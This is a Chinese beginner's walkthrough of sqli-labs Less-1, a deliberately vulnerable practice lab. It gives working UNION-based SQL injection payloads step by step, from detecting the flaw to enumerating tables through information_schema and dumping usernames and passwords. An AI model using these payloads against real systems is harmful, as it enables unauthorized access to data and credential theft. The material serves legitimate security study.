今天开始搞这个靶场,从小白开始一点点学习,加油!!!!
1.搭建靶场
注意点:1.php的版本问题,要用老版本
2.小p要先改数据库的密码,否则一直显示链接不上数据库
2.第一道题,从0开始
更着大佬学习怎么搞
1.判断是否存在sql注入漏洞
在开始之前我们要先知道如何判断是否存在sql注入漏洞:
最为经典的单引号判断法:
在参数后面加上单引号,比如: 1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
有报错,说明有sql注入点
2.判断sql注入漏洞的类型
通常sql注入漏洞的类型有两种:
1.数字型
2.字符型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
1.数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:
Url 地址中输入x and 1=1
页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
2.字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
Url 地址中输入 x' and '1'='1
页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。
实践一下
数字型判断
/?id=1 and 1=1
回显正常
/?id=1 and 1=2
回显正常
字符型判断
/?id=1' and '1'='1
?id=1' and 1=1 --+
回显正常
/?id=1' and '1'='2
/?id=1' and 1=2 --+
发现没有回显,有错误,说明是字符型注入漏洞
现在进行联合注入,先来判断它的字段数
?id=1' order by 1 -- + ?id=1' order by 2 -- + ?id=1' order by 3 -- + ?id=1' order by 4 -- +
这个 --+,主要是注释掉之后的语句
但是当判断到4的时候页面报错,说明它里面的字段数只有3位
字段数:在 SQL 查询中,字段数(Field count)通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念,它决定了查询结果中会返回多少列数据,也影响了数据库查询的结构、执行计划和性能。
开始爆出显示位,就是看看表格里面那一列是在页面显示的:
?id=100' union select 1,2,3 -- +
注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。
也可以将100改为-1,都是为了后面的1,2,3显示出来
可以看到是第二列和第三列里面的数据是显示在页面的
我们可以控制2,3出现的位置,那么开始判断库名:
获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:
?id=-1'union select 1,database(),version() -- +
得到库名为security,下来判断表名
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --+
/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 --+
/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+
查询出表名有:emails,referers,uagents,users 四个
可以用内置函数group_concat() 将表名一次性输出
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
-
1, group_concat(table_name), 3
: -
1
: 这是第一列的值,通常是一个常量,表示查询结果的占位符。 -
group_concat(table_name)
: 这部分非常关键。GROUP_CONCAT()
是 MySQL 中的一个聚合函数,用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name)
会将information_schema.tables
中所有表名(table_name
)拼接成一个由逗号分隔的长字符串 3
: 这是查询的第三列,类似于第一个列,它只是占位符,不会影响结果。
也是一共四个表
开始爆users的列名:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +
发现有id,username,password三列
从username和password两列里爆出数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +
得到数据,结束。。。
原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园